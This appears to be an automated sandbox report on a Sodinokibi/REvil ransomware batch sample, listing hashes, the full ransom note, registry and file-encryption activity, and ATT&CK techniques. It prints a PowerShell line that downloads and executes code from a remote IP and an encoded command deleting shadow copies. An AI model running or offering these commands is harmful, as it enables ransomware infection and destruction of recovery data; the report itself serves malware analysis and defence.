sodinokibi | 7d300da6df98325755580525ea2039cd8d4c9420557fb992d83440840bdcbd25

General

Target

GxdgNtfB.bat
Size

192B
MD5

d40190448142e92524fc41e756e185b6
SHA1

399ead1022291c86a66bf5bfcf1e7229287b5721
SHA256

7d300da6df98325755580525ea2039cd8d4c9420557fb992d83440840bdcbd25
SHA512

90361f11344ac7acbb897c55ffeddbc8695130c75e05b909bd72652f024416ffe8fc7f1040affa5dcf68f7e0c48958695ad85a928a323fb4bab671b4df5170b8

Score

10^/10

ransomware persistence evasion spyware trojan sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/GxdgNtfB

Extracted

Path

C:\lqdsy55g-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension lqdsy55g. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/43E3E340647DF886 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/43E3E340647DF886 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: BGXCSLIHW5L8q3vuJ1B+xKfHEIduq94RBq9GDHkOkUZzkQJn/abr8PfnAOUJ0Dii f5oBAiFGaE2KNmM3sVthI63W/HyYbfx3oIQpq1nd8he9GpNzTX/6O4jaIEpKZMwf R8DR9U2wrM95qOi96ZNwoEkpiF4wQAzGEAG7fIO3CyUsuRYOEyUaG3HCX1jDpDue fL7FMPwYrHEJHLUgF6DmZaKcjvInvAp/ruQW/pk/aErtEe9VA1l8U9NpJlshEWia KA01ctMntfHYVI6w3wR52dIVk7O1icxhg9IXNRZW8Vt6cVi8YuBYu8rteDFApKDU U/IhPzIK11jGv1LbnYw5EPeI8o0nY9Ay9vl2tYGmoFQ2G/Y8CyxdFOXLJK5lJJo8 iQ1X/TYzJOW02Kk6Us+HsQ28HLleWuliHyfq0G3Foa4knZLYVZnIBvTF3b/1qYU5 x7pSj0rtiBV1o8Zd52gLKZCab83PM6J5j17q9gBSRkZUAS2yPkbABBeciZoYAVsE Tn26xhN6jhfu0cH/7D8t8cOB0dOxYcuvvWMATAVaNeZiyAr17avMi22GsWnJKdZ+ 7UKgXLZ0kdHcEeSaoZ+t4F51STyYhHMAsEFTRpU6VaXLygfBjnjkt3GDD+ceXODe A/nR6LE5PCnJrtnzeApEKdJLWKUgJPveyzoLiRSQ4192eKip808XRlu5Hj/6Mh6r PC5GCWfsK9M1OJpWxdCxTvzWYJSKboSDEtHnR0i8Z6+Qjc9gCGK7zfL+t8GQam7r 2qzx+HEMKPsIbjC3s16UY4k8nR0ER/IDMUVKSMabswGlrLL9qqOd9OY4KA5ccPoP RaBx+BLyeaUZ5+h8Vi9D9c6PQqaFmBbg37QkllktmAQK23MPKHqaa9uINBIWHAfZ gYFCvkfArOVhcNsbnc7qY8XRnOjXRK0a8VE/yEpioNNvm90q7RuUeBOxTWCV/2w0 10I6dSz/878sXSyXBKhgsuGNkx6S7xLXGwP6urvEmrd8ae1lWh1c72AZQTStbBmx Oa7Q6ngZXEMymJKG3a3/R5p2aMKcUiqLot0Ep5LYrfzIECexC45zTAgfiY3AvHGK LIT/1OfD3fdFyrZ9Oz1ATO2VBQwBVeeNT9dtSBQQc+ukicVCHCr82Y9JOQc1hdhw vJWEaHp9o2G1qgos4RhKmz9OY+lPnHuIkley3prtJOsCJJmm6FHrMshrEOFr4JzI XE1Lp1HTlNyPw7RuTGDvrZVc0K6lYckbt4ElJOGm0Lqk0THsYSfKQX+c/E1UKrKx XlqZlxCCQfnzo/aBdEt1cj2bz566NqMdAlrTbaEHgoPm+Joo ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/43E3E340647DF886

http://decryptor.cc/43E3E340647DF886

Signatures

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exepowershell.execmd.exe

description	ioc	process
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\46w22t1n5.bmp"	powershell.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe

pid	process
1928	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1904 wrote to memory of 1928	1904	cmd.exe	powershell.exe
PID 1928 wrote to memory of 2028	1928	powershell.exe	powershell.exe
PID 1928 wrote to memory of 2028	1928	powershell.exe	powershell.exe
PID 1928 wrote to memory of 2028	1928	powershell.exe	powershell.exe
PID 1928 wrote to memory of 2028	1928	powershell.exe	powershell.exe

Blacklisted process makes network request 121 IoCs

Processes:

powershell.exe

flow	pid	process
3	1928	powershell.exe
5	1928	powershell.exe
6	1928	powershell.exe
8	1928	powershell.exe
9	1928	powershell.exe
11	1928	powershell.exe
13	1928	powershell.exe
15	1928	powershell.exe
17	1928	powershell.exe
19	1928	powershell.exe
21	1928	powershell.exe
23	1928	powershell.exe
24	1928	powershell.exe
26	1928	powershell.exe
27	1928	powershell.exe
29	1928	powershell.exe
30	1928	powershell.exe
32	1928	powershell.exe
33	1928	powershell.exe
35	1928	powershell.exe
38	1928	powershell.exe
40	1928	powershell.exe
42	1928	powershell.exe
44	1928	powershell.exe
45	1928	powershell.exe
47	1928	powershell.exe
49	1928	powershell.exe
51	1928	powershell.exe
53	1928	powershell.exe
55	1928	powershell.exe
56	1928	powershell.exe
58	1928	powershell.exe
59	1928	powershell.exe
61	1928	powershell.exe
63	1928	powershell.exe
65	1928	powershell.exe
66	1928	powershell.exe
68	1928	powershell.exe
70	1928	powershell.exe
71	1928	powershell.exe
73	1928	powershell.exe
75	1928	powershell.exe
77	1928	powershell.exe
79	1928	powershell.exe
83	1928	powershell.exe
85	1928	powershell.exe
87	1928	powershell.exe
89	1928	powershell.exe
91	1928	powershell.exe
93	1928	powershell.exe
95	1928	powershell.exe
96	1928	powershell.exe
99	1928	powershell.exe
101	1928	powershell.exe
103	1928	powershell.exe
105	1928	powershell.exe
107	1928	powershell.exe
108	1928	powershell.exe
110	1928	powershell.exe
111	1928	powershell.exe
113	1928	powershell.exe
115	1928	powershell.exe
117	1928	powershell.exe
119	1928	powershell.exe

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Program Files\GrantOpen.inf => \??\c:\program files\GrantOpen.inf.lqdsy55g	powershell.exe
File renamed	C:\Program Files\LockBackup.au => \??\c:\program files\LockBackup.au.lqdsy55g	powershell.exe
File renamed	C:\Program Files\RestartUninstall.midi => \??\c:\program files\RestartUninstall.midi.lqdsy55g	powershell.exe
File renamed	C:\Program Files\SkipApprove.xhtml => \??\c:\program files\SkipApprove.xhtml.lqdsy55g	powershell.exe
File created	\??\c:\program files (x86)\lqdsy55g-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.mpv2	powershell.exe
File opened for modification	\??\c:\program files\ExpandProtect.ods	powershell.exe
File renamed	C:\Program Files\EditRepair.mpv2 => \??\c:\program files\EditRepair.mpv2.lqdsy55g	powershell.exe
File renamed	C:\Program Files\SuspendGrant.m4a => \??\c:\program files\SuspendGrant.m4a.lqdsy55g	powershell.exe
File opened for modification	\??\c:\program files\SkipApprove.xhtml	powershell.exe
File renamed	C:\Program Files\UnpublishConvertTo.rmi => \??\c:\program files\UnpublishConvertTo.rmi.lqdsy55g	powershell.exe
File renamed	C:\Program Files\SplitRestart.bmp => \??\c:\program files\SplitRestart.bmp.lqdsy55g	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\lqdsy55g-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\GrantOpen.inf	powershell.exe
File opened for modification	\??\c:\program files\LockBackup.au	powershell.exe
File opened for modification	\??\c:\program files\SplitRestart.bmp	powershell.exe
File opened for modification	\??\c:\program files\SuspendGrant.m4a	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\lqdsy55g-readme.txt	powershell.exe
File created	\??\c:\program files\lqdsy55g-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\lqdsy55g-readme.txt	powershell.exe
File renamed	C:\Program Files\RestartSave.xltm => \??\c:\program files\RestartSave.xltm.lqdsy55g	powershell.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.rmi	powershell.exe
File opened for modification	\??\c:\program files\RestartUninstall.midi	powershell.exe
File opened for modification	\??\c:\program files\RestartSave.xltm	powershell.exe
File renamed	C:\Program Files\MoveWait.tif => \??\c:\program files\MoveWait.tif.lqdsy55g	powershell.exe
File renamed	C:\Program Files\UnpublishSync.aifc => \??\c:\program files\UnpublishSync.aifc.lqdsy55g	powershell.exe
File opened for modification	\??\c:\program files\MoveWait.tif	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSync.aifc	powershell.exe
File opened for modification	\??\c:\program files\ConvertToFormat.ini	powershell.exe
File opened for modification	\??\c:\program files\DisableCopy.M2T	powershell.exe
File renamed	C:\Program Files\DisableCopy.M2T => \??\c:\program files\DisableCopy.M2T.lqdsy55g	powershell.exe
File renamed	C:\Program Files\ExpandProtect.ods => \??\c:\program files\ExpandProtect.ods.lqdsy55g	powershell.exe
File renamed	C:\Program Files\ConvertToFormat.ini => \??\c:\program files\ConvertToFormat.ini.lqdsy55g	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeBackupPrivilege	1556	vssvc.exe
Token: SeRestorePrivilege	1556	vssvc.exe
Token: SeAuditPrivilege	1556	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
2028 powershell.exe
2028 powershell.exe

pid	process
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
2028	powershell.exe
2028	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\GxdgNtfB.bat"
1⤵
- Discovering connected drives
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/GxdgNtfB');Invoke-YDVXUJVMC;Start-Sleep -s 10000"
2⤵
- Discovering connected drives
- Sets desktop wallpaper using registry
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Drops file in Program Files directory
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2028

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads